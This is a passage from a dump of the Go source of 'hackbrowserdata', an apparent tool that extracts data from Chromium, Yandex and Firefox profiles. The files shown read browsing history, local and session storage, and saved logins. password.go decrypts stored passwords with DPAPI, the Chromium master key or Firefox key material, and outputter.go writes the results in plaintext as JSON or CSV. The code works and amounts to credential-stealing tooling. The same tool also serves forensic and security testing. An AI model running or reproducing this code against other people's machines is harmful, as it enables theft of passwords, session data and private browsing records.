*FirefoxExtension) Len() int {\n\treturn len(*f)\n}\n"
  },
  {
    "path": "browserdata/history/history.go",
    "content": "package history\n\nimport (\n\t\"database/sql\"\n\t\"os\"\n\t\"sort\"\n\t\"time\"\n\n\t// import sqlite3 driver\n\t_ \"modernc.org/sqlite\"\n\n\t\"github.com/moond4rk/hackbrowserdata/extractor\"\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/typeutil\"\n)\n\nfunc init() {\n\textractor.RegisterExtractor(types.ChromiumHistory, func() extractor.Extractor {\n\t\treturn new(ChromiumHistory)\n\t})\n\textractor.RegisterExtractor(types.FirefoxHistory, func() extractor.Extractor {\n\t\treturn new(FirefoxHistory)\n\t})\n}\n\ntype ChromiumHistory []history\n\ntype history struct {\n\tTitle         string\n\tURL           string\n\tVisitCount    int\n\tLastVisitTime time.Time\n}\n\nconst (\n\tqueryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`\n)\n\nfunc (c *ChromiumHistory) Extract(_ []byte) error {\n\tdb, err := sql.Open(\"sqlite\", types.ChromiumHistory.TempFilename())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.Remove(types.ChromiumHistory.TempFilename())\n\tdefer db.Close()\n\n\trows, err := db.Query(queryChromiumHistory)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tvar (\n\t\t\turl, title    string\n\t\t\tvisitCount    int\n\t\t\tlastVisitTime int64\n\t\t)\n\t\tif err := rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil {\n\t\t\tlog.Warnf(\"scan chromium history error: %v\", err)\n\t\t}\n\t\tdata := history{\n\t\t\tURL:           url,\n\t\t\tTitle:         title,\n\t\t\tVisitCount:    visitCount,\n\t\t\tLastVisitTime: typeutil.TimeEpoch(lastVisitTime),\n\t\t}\n\t\t*c = append(*c, data)\n\t}\n\tsort.Slice(*c, func(i, j int) bool {\n\t\treturn (*c)[i].VisitCount > (*c)[j].VisitCount\n\t})\n\treturn nil\n}\n\nfunc (c *ChromiumHistory) Name() string {\n\treturn \"history\"\n}\n\nfunc (c *ChromiumHistory) Len() int {\n\treturn len(*c)\n}\n\ntype FirefoxHistory []history\n\nconst (\n\tqueryFirefoxHistory = `SELECT id, url, COALESCE(last_visit_date, 0), COALESCE(title, ''), visit_count FROM moz_places`\n\tcloseJournalMode    = `PRAGMA journal_mode=off`\n)\n\nfunc (f *FirefoxHistory) Extract(_ []byte) error {\n\tdb, err := sql.Open(\"sqlite\", types.FirefoxHistory.TempFilename())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.Remove(types.FirefoxHistory.TempFilename())\n\tdefer db.Close()\n\n\t_, err = db.Exec(closeJournalMode)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer db.Close()\n\trows, err := db.Query(queryFirefoxHistory)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tvar (\n\t\t\tid, visitDate int64\n\t\t\turl, title    string\n\t\t\tvisitCount    int\n\t\t)\n\t\tif err = rows.Scan(&id, &url, &visitDate, &title, &visitCount); err != nil {\n\t\t\tlog.Debugf(\"scan firefox history error: %v\", err)\n\t\t}\n\t\t*f = append(*f, history{\n\t\t\tTitle:         title,\n\t\t\tURL:           url,\n\t\t\tVisitCount:    visitCount,\n\t\t\tLastVisitTime: typeutil.TimeStamp(visitDate / 1000000),\n\t\t})\n\t}\n\tsort.Slice(*f, func(i, j int) bool {\n\t\treturn (*f)[i].VisitCount < (*f)[j].VisitCount\n\t})\n\treturn nil\n}\n\nfunc (f *FirefoxHistory) Name() string {\n\treturn \"history\"\n}\n\nfunc (f *FirefoxHistory) Len() int {\n\treturn len(*f)\n}\n"
  },
  {
    "path": "browserdata/imports.go",
    "content": "// Package browserdata is responsible for initializing all the necessary\n// components that handle different types of browser data extraction.\n// This file, imports.go, is specifically used to import various data\n// handler packages to ensure their initialization logic is executed.\n// These imports are crucial as they trigger the `init()` functions\n// within each package, which typically handle registration of their\n// specific data handlers to a central registry.\npackage browserdata\n\nimport (\n\t_ \"github.com/moond4rk/hackbrowserdata/browserdata/bookmark\"\n\t_ \"github.com/moond4rk/hackbrowserdata/browserdata/cookie\"\n\t_ \"github.com/moond4rk/hackbrowserdata/browserdata/creditcard\"\n\t_ \"github.com/moond4rk/hackbrowserdata/browserdata/download\"\n\t_ \"github.com/moond4rk/hackbrowserdata/browserdata/extension\"\n\t_ \"github.com/moond4rk/hackbrowserdata/browserdata/history\"\n\t_ \"github.com/moond4rk/hackbrowserdata/browserdata/localstorage\"\n\t_ \"github.com/moond4rk/hackbrowserdata/browserdata/password\"\n\t_ \"github.com/moond4rk/hackbrowserdata/browserdata/sessionstorage\"\n)\n"
  },
  {
    "path": "browserdata/localstorage/localstorage.go",
    "content": "package localstorage\n\nimport (\n\t\"bytes\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/syndtr/goleveldb/leveldb\"\n\t\"golang.org/x/text/encoding/unicode\"\n\t\"golang.org/x/text/transform\"\n\n\t\"github.com/moond4rk/hackbrowserdata/extractor\"\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/byteutil\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/typeutil\"\n)\n\nfunc init() {\n\textractor.RegisterExtractor(types.ChromiumLocalStorage, func() extractor.Extractor {\n\t\treturn new(ChromiumLocalStorage)\n\t})\n\textractor.RegisterExtractor(types.FirefoxLocalStorage, func() extractor.Extractor {\n\t\treturn new(FirefoxLocalStorage)\n\t})\n}\n\ntype ChromiumLocalStorage []storage\n\ntype storage struct {\n\tIsMeta bool\n\tURL    string\n\tKey    string\n\tValue  string\n}\n\nconst maxLocalStorageValueLength = 1024 * 2\n\nfunc (c *ChromiumLocalStorage) Extract(_ []byte) error {\n\tdb, err := leveldb.OpenFile(types.ChromiumLocalStorage.TempFilename(), nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.RemoveAll(types.ChromiumLocalStorage.TempFilename())\n\tdefer db.Close()\n\n\titer := db.NewIterator(nil, nil)\n\tfor iter.Next() {\n\t\tkey := iter.Key()\n\t\tvalue := iter.Value()\n\t\ts := new(storage)\n\t\ts.fillKey(key)\n\t\t// don't all value upper than 2KB\n\t\tif len(value) < maxLocalStorageValueLength {\n\t\t\ts.fillValue(value)\n\t\t} else {\n\t\t\ts.Value = fmt.Sprintf(\"value is too long, length is %d, supported max length is %d\", len(value), maxLocalStorageValueLength)\n\t\t}\n\t\tif s.IsMeta {\n\t\t\ts.Value = fmt.Sprintf(\"meta data, value bytes is %v\", value)\n\t\t}\n\t\t*c = append(*c, *s)\n\t}\n\titer.Release()\n\terr = iter.Error()\n\treturn err\n}\n\nfunc (c *ChromiumLocalStorage) Name() string {\n\treturn \"localStorage\"\n}\n\nfunc (c *ChromiumLocalStorage) Len() int {\n\treturn len(*c)\n}\n\nfunc (s *storage) fillKey(b []byte) {\n\tkeys := bytes.Split(b, []byte(\"\\x00\"))\n\tif len(keys) == 1 && bytes.HasPrefix(keys[0], []byte(\"META:\")) {\n\t\ts.IsMeta = true\n\t\ts.fillMetaHeader(keys[0])\n\t}\n\tif len(keys) == 2 && bytes.HasPrefix(keys[0], []byte(\"_\")) {\n\t\ts.fillHeader(keys[0], keys[1])\n\t}\n}\n\nfunc (s *storage) fillMetaHeader(b []byte) {\n\ts.URL = string(bytes.Trim(b, \"META:\"))\n}\n\nfunc (s *storage) fillHeader(url, key []byte) {\n\ts.URL = string(bytes.Trim(url, \"_\"))\n\ts.Key = string(bytes.Trim(key, \"\\x01\"))\n}\n\nfunc convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byte, error) {\n\tr, _, err := transform.Bytes(unicode.UTF16(endian, unicode.IgnoreBOM).NewDecoder(), source)\n\treturn r, err\n}\n\n// fillValue fills value of the storage\n// TODO: support unicode charter\nfunc (s *storage) fillValue(b []byte) {\n\tvalue := bytes.Map(byteutil.OnSplitUTF8Func, b)\n\ts.Value = string(value)\n}\n\ntype FirefoxLocalStorage []storage\n\nconst (\n\tqueryLocalStorage = `SELECT originKey, key, value FROM webappsstore2`\n\tcloseJournalMode  = `PRAGMA journal_mode=off`\n)\n\nfunc (f *FirefoxLocalStorage) Extract(_ []byte) error {\n\tdb, err := sql.Open(\"sqlite\", types.FirefoxLocalStorage.TempFilename())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.Remove(types.FirefoxLocalStorage.TempFilename())\n\tdefer db.Close()\n\n\t_, err = db.Exec(closeJournalMode)\n\tif err != nil {\n\t\tlog.Debugf(\"close journal mode error: %v\", err)\n\t}\n\trows, err := db.Query(queryLocalStorage)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tvar originKey, key, value string\n\t\tif err = rows.Scan(&originKey, &key, &value); err != nil {\n\t\t\tlog.Debugf(\"scan firefox local storage error: %v\", err)\n\t\t}\n\t\ts := new(storage)\n\t\ts.fillFirefox(originKey, key, value)\n\t\t*f = append(*f, *s)\n\t}\n\treturn nil\n}\n\nfunc (s *storage) fillFirefox(originKey, key, value string) {\n\t// originKey = moc.buhtig.:https:443\n\tp := strings.Split(originKey, \":\")\n\th := typeutil.Reverse([]byte(p[0]))\n\tif bytes.HasPrefix(h, []byte(\".\")) {\n\t\th = h[1:]\n\t}\n\tif len(p) == 3 {\n\t\ts.URL = fmt.Sprintf(\"%s://%s:%s\", p[1], string(h), p[2])\n\t}\n\ts.Key = key\n\ts.Value = value\n}\n\nfunc (f *FirefoxLocalStorage) Name() string {\n\treturn \"localStorage\"\n}\n\nfunc (f *FirefoxLocalStorage) Len() int {\n\treturn len(*f)\n}\n"
  },
  {
    "path": "browserdata/localstorage/localstorage_test.go",
    "content": "package localstorage\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"golang.org/x/text/encoding/unicode\"\n)\n\nvar testCases = []struct {\n\tin     []byte\n\twanted []byte\n\tactual []byte\n}{\n\t{\n\t\tin:     []byte{0x0, 0x7b, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x6b, 0x0, 0x65, 0x0, 0x79, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0x68, 0x0, 0x74, 0x0, 0x74, 0x0, 0x70, 0x0, 0x73, 0x0, 0x3a, 0x0, 0x2f, 0x0, 0x2f, 0x0, 0x77, 0x0, 0x77, 0x0, 0x77, 0x0, 0x2e, 0x0, 0x76, 0x0, 0x6f, 0x0, 0x6c, 0x0, 0x63, 0x0, 0x65, 0x0, 0x6e, 0x0, 0x67, 0x0, 0x69, 0x0, 0x6e, 0x0, 0x65, 0x0, 0x2e, 0x0, 0x63, 0x0, 0x6f, 0x0, 0x6d, 0x0, 0x2f, 0x0, 0x70, 0x0, 0x72, 0x0, 0x6f, 0x0, 0x64, 0x0, 0x75, 0x0, 0x63, 0x0, 0x74, 0x0, 0x73, 0x0, 0x2f, 0x0, 0x66, 0x0, 0x65, 0x0, 0x69, 0x0, 0x6c, 0x0, 0x69, 0x0, 0x61, 0x0, 0x6e, 0x0, 0x22, 0x0, 0x2c, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x74, 0x0, 0x69, 0x0, 0x74, 0x0, 0x6c, 0x0, 0x65, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0xde, 0x98, 0xde, 0x8f, 0x2d, 0x0, 0x6b, 0x70, 0x71, 0x5c, 0x15, 0x5f, 0xce, 0x64, 0x22, 0x0, 0x2c, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x6d, 0x0, 0x61, 0x0, 0x6e, 0x0, 0x75, 0x0, 0x61, 0x0, 0x6c, 0x0, 0x5f, 0x0, 0x6b, 0x0, 0x65, 0x0, 0x79, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0x22, 0x0, 0x7d, 0x0},\n\t\twanted: []byte(`{\"refer_key\":\"https://www.volcengine.com/product/feilian\",\"refer_title\":\"飞连_SSO单点登录_VPN_终端安全合规_便捷Wifi认证-火山引擎\",\"refer_manual_key\":\"\"}`),\n\t\tactual: []byte{0x7b, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x6b, 0x65, 0x79, 0x22, 0x3a, 0x22, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x76, 0x6f, 0x6c, 0x63, 0x65, 0x6e, 0x67, 0x69, 0x6e, 0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x70, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2f, 0x66, 0x65, 0x69, 0x6c, 0x69, 0x61, 0x6e, 0x22, 0x2c, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x74, 0x69, 0x74, 0x6c, 0x65, 0x22, 0x3a, 0x22, 0xc3, 0x9e, 0xe9, 0xa3, 0x9e, 0xe8, 0xbc, 0xad, 0x6b, 0xe7, 0x81, 0xb1, 0xe5, 0xb0, 0x95, 0xe5, 0xbf, 0x8e, 0xe6, 0x90, 0xa2, 0x2c, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x6d, 0x61, 0x6e, 0x75, 0x61, 0x6c, 0x5f, 0x6b, 0x65, 0x79, 0x22, 0x3a, 0x22, 0x22, 0x7d, 0xef, 0xbf, 0xbd},\n\t},\n}\n\nfunc TestLocalStorageKeyToUTF8(t *testing.T) {\n\tt.Parallel()\n\tfor _, tc := range testCases {\n\t\tactual, err := convertUTF16toUTF8(tc.in, unicode.BigEndian)\n\t\tif err != nil {\n\t\t\tt.Error(err)\n\t\t}\n\t\t// TODO: fix this, value from local storage if contains chinese characters, need convert utf16 to utf8\n\t\t// but now, it can't convert, so just skip it.\n\t\tassert.Equal(t, tc.actual, actual, \"chinese characters can't actual convert\")\n\t}\n}\n"
  },
  {
    "path": "browserdata/outputter.go",
    "content": "package browserdata\n\nimport (\n\t\"encoding/csv\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/gocarina/gocsv\"\n\t\"golang.org/x/text/encoding/unicode\"\n\t\"golang.org/x/text/transform\"\n\n\t\"github.com/moond4rk/hackbrowserdata/extractor\"\n)\n\ntype outPutter struct {\n\tjson bool\n\tcsv  bool\n}\n\nfunc newOutPutter(flag string) *outPutter {\n\to := &outPutter{}\n\tif flag == \"json\" {\n\t\to.json = true\n\t} else {\n\t\to.csv = true\n\t}\n\treturn o\n}\n\nfunc (o *outPutter) Write(data extractor.Extractor, writer io.Writer) error {\n\tswitch o.json {\n\tcase true:\n\t\tencoder := json.NewEncoder(writer)\n\t\tencoder.SetIndent(\"\", \"  \")\n\t\tencoder.SetEscapeHTML(false)\n\t\treturn encoder.Encode(data)\n\tdefault:\n\t\tgocsv.SetCSVWriter(func(w io.Writer) *gocsv.SafeCSVWriter {\n\t\t\twriter := csv.NewWriter(transform.NewWriter(w, unicode.UTF8BOM.NewEncoder()))\n\t\t\twriter.Comma = ','\n\t\t\treturn gocsv.NewSafeCSVWriter(writer)\n\t\t})\n\t\treturn gocsv.Marshal(data, writer)\n\t}\n}\n\nfunc (o *outPutter) CreateFile(dir, filename string) (*os.File, error) {\n\tif filename == \"\" {\n\t\treturn nil, errors.New(\"empty filename\")\n\t}\n\n\tif dir != \"\" {\n\t\tif _, err := os.Stat(dir); os.IsNotExist(err) {\n\t\t\terr := os.MkdirAll(dir, 0o750)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t}\n\n\tvar file *os.File\n\tvar err error\n\tp := filepath.Join(dir, filename)\n\tfile, err = os.OpenFile(filepath.Clean(p), os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn file, nil\n}\n\nfunc (o *outPutter) Ext() string {\n\tif o.json {\n\t\treturn \"json\"\n\t}\n\treturn \"csv\"\n}\n"
  },
  {
    "path": "browserdata/outputter_test.go",
    "content": "package browserdata\n\nimport (\n\t\"os\"\n\t\"testing\"\n)\n\nfunc TestNewOutPutter(t *testing.T) {\n\tt.Parallel()\n\tout := newOutPutter(\"json\")\n\tif out == nil {\n\t\tt.Error(\"New() returned nil\")\n\t}\n\tf, err := out.CreateFile(\"results\", \"test.json\")\n\tif err != nil {\n\t\tt.Error(\"CreateFile() returned an error\", err)\n\t}\n\tdefer os.RemoveAll(\"results\")\n\terr = out.Write(nil, f)\n\tif err != nil {\n\t\tt.Error(\"Write() returned an error\", err)\n\t}\n}\n"
  },
  {
    "path": "browserdata/password/password.go",
    "content": "package password\n\nimport (\n\t\"database/sql\"\n\t\"encoding/base64\"\n\t\"os\"\n\t\"sort\"\n\t\"time\"\n\n\t\"github.com/tidwall/gjson\"\n\t_ \"modernc.org/sqlite\" // import sqlite3 driver\n\n\t\"github.com/moond4rk/hackbrowserdata/crypto\"\n\t\"github.com/moond4rk/hackbrowserdata/extractor\"\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/typeutil\"\n)\n\nfunc init() {\n\textractor.RegisterExtractor(types.ChromiumPassword, func() extractor.Extractor {\n\t\treturn new(ChromiumPassword)\n\t})\n\textractor.RegisterExtractor(types.YandexPassword, func() extractor.Extractor {\n\t\treturn new(YandexPassword)\n\t})\n\textractor.RegisterExtractor(types.FirefoxPassword, func() extractor.Extractor {\n\t\treturn new(FirefoxPassword)\n\t})\n}\n\ntype ChromiumPassword []loginData\n\ntype loginData struct {\n\tUserName    string\n\tencryptPass []byte\n\tencryptUser []byte\n\tPassword    string\n\tLoginURL    string\n\tCreateDate  time.Time\n}\n\nconst (\n\tqueryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`\n)\n\nfunc (c *ChromiumPassword) Extract(masterKey []byte) error {\n\tdb, err := sql.Open(\"sqlite\", types.ChromiumPassword.TempFilename())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.Remove(types.ChromiumPassword.TempFilename())\n\tdefer db.Close()\n\n\trows, err := db.Query(queryChromiumLogin)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar (\n\t\t\turl, username string\n\t\t\tpwd, password []byte\n\t\t\tcreate        int64\n\t\t)\n\t\tif err := rows.Scan(&url, &username, &pwd, &create); err != nil {\n\t\t\tlog.Debugf(\"scan chromium password error: %v\", err)\n\t\t}\n\t\tlogin := loginData{\n\t\t\tUserName:    username,\n\t\t\tencryptPass: pwd,\n\t\t\tLoginURL:    url,\n\t\t}\n\n\t\tif len(pwd) > 0 {\n\t\t\tpassword, err = crypto.DecryptWithDPAPI(pwd)\n\t\t\tif err != nil {\n\t\t\t\tpassword, err = crypto.DecryptWithChromium(masterKey, pwd)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Debugf(\"decrypt chromium password error: %v\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif create > time.Now().Unix() {\n\t\t\tlogin.CreateDate = typeutil.TimeEpoch(create)\n\t\t} else {\n\t\t\tlogin.CreateDate = typeutil.TimeStamp(create)\n\t\t}\n\t\tlogin.Password = string(password)\n\t\t*c = append(*c, login)\n\t}\n\t// sort with create date\n\tsort.Slice(*c, func(i, j int) bool {\n\t\treturn (*c)[i].CreateDate.After((*c)[j].CreateDate)\n\t})\n\treturn nil\n}\n\nfunc (c *ChromiumPassword) Name() string {\n\treturn \"password\"\n}\n\nfunc (c *ChromiumPassword) Len() int {\n\treturn len(*c)\n}\n\ntype YandexPassword []loginData\n\nconst (\n\tqueryYandexLogin = `SELECT action_url, username_value, password_value, date_created FROM logins`\n)\n\nfunc (c *YandexPassword) Extract(masterKey []byte) error {\n\tdb, err := sql.Open(\"sqlite\", types.YandexPassword.TempFilename())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.Remove(types.YandexPassword.TempFilename())\n\tdefer db.Close()\n\n\trows, err := db.Query(queryYandexLogin)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar (\n\t\t\turl, username string\n\t\t\tpwd, password []byte\n\t\t\tcreate        int64\n\t\t)\n\t\tif err := rows.Scan(&url, &username, &pwd, &create); err != nil {\n\t\t\tlog.Debugf(\"scan yandex password error: %v\", err)\n\t\t}\n\t\tlogin := loginData{\n\t\t\tUserName:    username,\n\t\t\tencryptPass: pwd,\n\t\t\tLoginURL:    url,\n\t\t}\n\n\t\tif len(pwd) > 0 {\n\t\t\tif len(masterKey) == 0 {\n\t\t\t\tpassword, err = crypto.DecryptWithDPAPI(pwd)\n\t\t\t} else {\n\t\t\t\tpassword, err = crypto.DecryptWithChromium(masterKey, pwd)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tlog.Debugf(\"decrypt yandex password error: %v\", err)\n\t\t\t}\n\t\t}\n\t\tif create > time.Now().Unix() {\n\t\t\tlogin.CreateDate = typeutil.TimeEpoch(create)\n\t\t} else {\n\t\t\tlogin.CreateDate = typeutil.TimeStamp(create)\n\t\t}\n\t\tlogin.Password = string(password)\n\t\t*c = append(*c, login)\n\t}\n\t// sort with create date\n\tsort.Slice(*c, func(i, j int) bool {\n\t\treturn (*c)[i].CreateDate.After((*c)[j].CreateDate)\n\t})\n\treturn nil\n}\n\nfunc (c *YandexPassword) Name() string {\n\treturn \"password\"\n}\n\nfunc (c *YandexPassword) Len() int {\n\treturn len(*c)\n}\n\ntype FirefoxPassword []loginData\n\nfunc (f *FirefoxPassword) Extract(globalSalt []byte) error {\n\tlogins, err := getFirefoxLoginData()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, v := range logins {\n\t\tuserPBE, err := crypto.NewASN1PBE(v.encryptUser)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tpwdPBE, err := crypto.NewASN1PBE(v.encryptPass)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tuser, err := userPBE.Decrypt(globalSalt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tpwd, err := pwdPBE.Decrypt(globalSalt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t*f = append(*f, loginData{\n\t\t\tLoginURL:   v.LoginURL,\n\t\t\tUserName:   string(user),\n\t\t\tPassword:   string(pwd),\n\t\t\tCreateDate: v.CreateDate,\n\t\t})\n\t}\n\n\tsort.Slice(*f, func(i, j int) bool {\n\t\treturn (*f)[i].CreateDate.After((*f)[j].CreateDate)\n\t})\n\treturn nil\n}\n\nfunc getFirefoxLoginData() ([]loginData, error) {\n\ts, err := os.ReadFile(types.FirefoxPassword.TempFilename())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer os.Remove(types.FirefoxPassword.TempFilename())\n\tloginsJSON := gjson.GetBytes(s, \"logins\")\n\tvar logins []loginData\n\tif loginsJSON.Exists() {\n\t\tfor _, v := range loginsJSON.Array() {\n\t\t\tvar (\n\t\t\t\tm    loginData\n\t\t\t\tuser []byte\n\t\t\t\tpass []byte\n\t\t\t)\n\t\t\t// Use formSubmitURL if available, otherwise fallback to hostname\n\t\t\tm.LoginURL = v.Get(\"formSubmitURL\").String()\n\t\t\tif m.LoginURL == \"\" {\n\t\t\t\tm.LoginURL = v.Get(\"hostname\").String()\n\t\t\t}\n\t\t\tuser, err = base64.StdEncoding.DecodeString(v.Get(\"encryptedUsername\").String())\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tpass, err = base64.StdEncoding.DecodeString(v.Get(\"encryptedPassword\").String())\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tm.encryptUser = user\n\t\t\tm.encryptPass = pass\n\t\t\tm.CreateDate = typeutil.TimeStamp(v.Get(\"timeCreated\").Int() / 1000)\n\t\t\tlogins = append(logins, m)\n\t\t}\n\t}\n\treturn logins, nil\n}\n\nfunc (f *FirefoxPassword) Name() string {\n\treturn \"password\"\n}\n\nfunc (f *FirefoxPassword) Len() int {\n\treturn len(*f)\n}\n"
  },
  {
    "path": "browserdata/sessionstorage/sessionstorage.go",
    "content": "package sessionstorage\n\nimport (\n\t\"bytes\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/syndtr/goleveldb/leveldb\"\n\t\"golang.org/x/text/encoding/unicode\"\n\t\"golang.org/x/text/transform\"\n\n\t\"github.com/moond4rk/hackbrowserdata/extractor\"\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/byteutil\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/typeutil\"\n)\n\nfunc init() {\n\textractor.RegisterExtractor(types.ChromiumSessionStorage, func() extractor.Extractor {\n\t\treturn new(ChromiumSessionStorage)\n\t})\n\textractor.RegisterExtractor(types.FirefoxSessionStorage, func() extractor.Extractor {\n\t\treturn new(FirefoxSessionStorage)\n\t})\n}\n\ntype ChromiumSessionStorage []session\n\ntype session struct {\n\tIsMeta bool\n\tURL    string\n\tKey    string\n\tValue  string\n}\n\nconst maxLocalStorageValueLength = 1024 * 2\n\nfunc (c *ChromiumSessionStorage) Extract(_ []byte) error {\n\tdb, err := leveldb.OpenFile(types.ChromiumSessionStorage.TempFilename(), nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.RemoveAll(types.ChromiumSessionStorage.TempFilename())\n\tdefer db.Close()\n\n\titer := db.NewIterator(nil, nil)\n\tfor iter.Next() {\n\t\tkey := iter.Key()\n\t\tvalue := iter.Value()\n\t\ts := new(session)\n\t\ts.fillKey(key)\n\t\t// don't all value upper than 2KB\n\t\tif len(value) < maxLocalStorageValueLength {\n\t\t\ts.fillValue(value)\n\t\t} else {\n\t\t\ts.Value = fmt.Sprintf(\"value is too long, length is %d, supported max length is %d\", len(value), maxLocalStorageValueLength)\n\t\t}\n\t\tif s.IsMeta {\n\t\t\ts.Value = fmt.Sprintf(\"meta data, value bytes is %v\", value)\n\t\t}\n\t\t*c = append(*c, *s)\n\t}\n\titer.Release()\n\terr = iter.Error()\n\treturn err\n}\n\nfunc (c *ChromiumSessionStorage) Name() string {\n\treturn \"sessionStorage\"\n}\n\nfunc (c *ChromiumSessionStorage) Len() int {\n\treturn len(*c)\n}\n\nfunc (s *session) fillKey(b []byte) {\n\tkeys := bytes.Split(b, []byte(\"-\"))\n\tif len(keys) == 1 && bytes.HasPrefix(keys[0], []byte(\"META:\")) {\n\t\ts.IsMeta = true\n\t\ts.fillMetaHeader(keys[0])\n\t}\n\tif len(keys) == 2 && bytes.HasPrefix(keys[0], []byte(\"_\")) {\n\t\ts.fillHeader(keys[0], keys[1])\n\t}\n\tif len(keys) == 3 {\n\t\tif string(keys[0]) == \"map\" {\n\t\t\ts.Key = string(keys[2])\n\t\t} else if string(keys[0]) == \"namespace\" {\n\t\t\ts.URL = string(keys[2])\n\t\t\ts.Key = string(keys[1])\n\t\t}\n\t}\n}\n\nfunc (s *session) fillMetaHeader(b []byte) {\n\ts.URL = string(bytes.Trim(b, \"META:\"))\n}\n\nfunc (s *session) fillHeader(url, key []byte) {\n\ts.URL = string(bytes.Trim(url, \"_\"))\n\ts.Key = string(bytes.Trim(key, \"\\x01\"))\n}\n\nfunc convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byte, error) {\n\tr, _, err := transform.Bytes(unicode.UTF16(endian, unicode.IgnoreBOM).NewDecoder(), source)\n\treturn r, err\n}\n\n// fillValue fills value of the storage\n// TODO: support unicode charter\nfunc (s *session) fillValue(b []byte) {\n\tvalue := bytes.Map(byteutil.OnSplitUTF8Func, b)\n\ts.Value = string(value)\n}\n\ntype FirefoxSessionStorage []session\n\nconst (\n\tquerySessionStorage = `SELECT originKey, key, value FROM webappsstore2`\n\tcloseJournalMode    = `PRAGMA journal_mode=off`\n)\n\nfunc (f *FirefoxSessionStorage) Extract(_ []byte) error {\n\tdb, err := sql.Open(\"sqlite\", types.FirefoxSessionStorage.TempFilename())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.Remove(types.FirefoxSessionStorage.TempFilename())\n\tdefer db.Close()\n\n\t_, err = db.Exec(closeJournalMode)\n\tif err != nil {\n\t\tlog.Debugf(\"close journal mode error: %v\", err)\n\t}\n\trows, err := db.Query(querySessionStorage)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tvar originKey, key, value string\n\t\tif err = rows.Scan(&originKey, &key, &value); err != nil {\n\t\t\tlog.Debugf(\"scan session storage error: %v\", err)\n\t\t}\n\t\ts := new(session)\n\t\ts.fillFirefox(originKey, key, value)\n\t\t*f = append(*f, *s)\n\t}\n\treturn nil\n}\n\nfunc (s *session) 